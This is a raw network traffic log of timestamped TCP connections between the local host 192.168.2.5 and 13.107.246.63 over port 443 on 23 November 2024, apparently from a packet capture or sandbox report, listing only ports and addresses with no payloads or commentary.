Nov 23, 2024 15:38:21.050355911 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.050654888 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.050689936 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.050705910 CET	49903	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.050712109 CET	443	49903	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.053201914 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.053220987 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.053623915 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.053628922 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.053864956 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.053881884 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.053891897 CET	49904	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.053896904 CET	443	49904	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.058295965 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.058320045 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.058393955 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.058516979 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.058526993 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.060041904 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.060137987 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.060210943 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.060909033 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.060950041 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.379203081 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.381827116 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.381977081 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.382636070 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.382657051 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.382672071 CET	49905	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.382678032 CET	443	49905	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.385782003 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.385817051 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.385916948 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.386061907 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.386070967 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.430459976 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.430495977 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.430555105 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.430604935 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.430661917 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.430999994 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.431016922 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.431036949 CET	49906	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.431041956 CET	443	49906	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.434174061 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.434207916 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:21.434299946 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.434473991 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:21.434484959 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.069376945 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.072793961 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.072815895 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.073173046 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.073179007 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.503631115 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.506743908 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.506860971 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.507241964 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.507241964 CET	49907	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.507257938 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.507273912 CET	443	49907	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.510282040 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.510305882 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.510406971 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.510544062 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.510550976 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.868551016 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.869087934 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.869153976 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.869577885 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.869592905 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.931185007 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.932148933 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.932168007 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:22.932816982 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:22.932821989 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.224603891 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.225653887 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.225708008 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.226146936 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.226162910 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.236994982 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.237374067 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.237392902 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.237787962 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.237795115 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.316297054 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.319688082 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.319798946 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.319849014 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.319875002 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.319945097 CET	49909	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.319960117 CET	443	49909	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.322839022 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.322885990 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.323035002 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.323117971 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.323132992 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.386925936 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.386969090 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.387042999 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.387104988 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.387142897 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.387377024 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.387392998 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.387434959 CET	49908	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.387444019 CET	443	49908	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.390799999 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.390826941 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.390932083 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.391072035 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.391083956 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.668471098 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.671459913 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.671574116 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.671678066 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.671678066 CET	49911	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.671724081 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.671751022 CET	443	49911	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.674797058 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.674853086 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.674945116 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.675093889 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.675112963 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.690274954 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.693413973 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.693464994 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.693478107 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.693491936 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.693530083 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.693603992 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.693618059 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.693625927 CET	49910	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.693630934 CET	443	49910	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.698374987 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.698426962 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:23.698530912 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.698704958 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:23.698723078 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.306246042 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.306888103 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.306904078 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.307512045 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.307518005 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.752815008 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.756141901 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.756203890 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.756217957 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.756262064 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.756313086 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.758759975 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.758775949 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.758785009 CET	49912	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.758790016 CET	443	49912	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.777162075 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.777209044 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:24.777291059 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.777501106 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:24.777518988 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.179202080 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.183192968 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.183218002 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.183881998 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.183898926 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.256570101 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.257246971 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.257268906 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.257765055 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.257771015 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.423203945 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.423913956 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.423940897 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.424524069 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.424529076 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.642103910 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.643522024 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.643636942 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.643660069 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.643671036 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.643686056 CET	49913	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.643692017 CET	443	49913	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.646965027 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.646982908 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.647051096 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.647258997 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.647317886 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.716989040 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.720073938 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.720154047 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.720263958 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.720263958 CET	49914	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.720278025 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.720288038 CET	443	49914	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.724077940 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.724112988 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.724174976 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.724387884 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.724397898 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.857582092 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.860972881 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.861016989 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.861048937 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.861088991 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.861159086 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.861172915 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.861185074 CET	49916	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.861191034 CET	443	49916	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.864656925 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.864696026 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:25.864773035 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.864924908 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:25.864938021 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:26.568295956 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:26.568943024 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:26.568959951 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:26.569607973 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:26.569613934 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:26.951971054 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:26.952644110 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:26.952657938 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:26.953347921 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:26.953351974 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.013945103 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.017035007 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.017174006 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.017232895 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.017249107 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.017262936 CET	49917	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.017268896 CET	443	49917	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.020767927 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.020790100 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.020879984 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.021076918 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.021095037 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.367938042 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.368536949 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.368552923 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.369005919 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.369010925 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.395606995 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.398833036 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.398958921 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.398958921 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.398991108 CET	49915	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.399008989 CET	443	49915	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.404247999 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.404284000 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.404361010 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.404520035 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.404531002 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.527726889 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.569297075 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.631805897 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.673743010 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.673765898 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.674257994 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.674262047 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.676495075 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.676508904 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.676923990 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.676928997 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.801769018 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.805085897 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.805138111 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.805138111 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.805193901 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.805255890 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.805269003 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.805278063 CET	49918	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.805283070 CET	443	49918	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.810415983 CET	49923	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.810471058 CET	443	49923	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.810710907 CET	49923	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.810710907 CET	49923	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:27.810756922 CET	443	49923	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:27.999735117 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.002803087 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.002862930 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.002924919 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.002944946 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.002958059 CET	49919	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.002963066 CET	443	49919	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.006177902 CET	49924	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.006211042 CET	443	49924	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.006278038 CET	49924	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.006477118 CET	49924	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.006489992 CET	443	49924	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.067447901 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.070503950 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.070594072 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.070678949 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.070678949 CET	49920	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.070692062 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.070700884 CET	443	49920	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.073661089 CET	49925	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.073714972 CET	443	49925	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.073801041 CET	49925	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.073951006 CET	49925	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.073977947 CET	443	49925	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.751089096 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.751739979 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.751776934 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:28.752285957 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:28.752291918 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.193175077 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.193284988 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.193406105 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.193665028 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.193684101 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.193695068 CET	49921	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.193700075 CET	443	49921	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.196257114 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.197300911 CET	49926	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.197314978 CET	443	49926	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.197674990 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.197684050 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.197710037 CET	49926	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.197837114 CET	49926	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.197846889 CET	443	49926	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.198260069 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.198263884 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.526603937 CET	443	49923	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.527298927 CET	49923	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.527317047 CET	443	49923	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.527842999 CET	49923	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.527848959 CET	443	49923	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.645236969 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.648375988 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.648433924 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.648456097 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.648488998 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.648549080 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.648560047 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.648567915 CET	49922	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.648572922 CET	443	49922	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.652162075 CET	49927	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.652192116 CET	443	49927	13.107.246.63	192.168.2.5
Nov 23, 2024 15:38:29.652278900 CET	49927	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.652420998 CET	49927	443	192.168.2.5	13.107.246.63
Nov 23, 2024 15:38:29.652432919 CET	443	49927	13.107.246.63	192.168.2.5
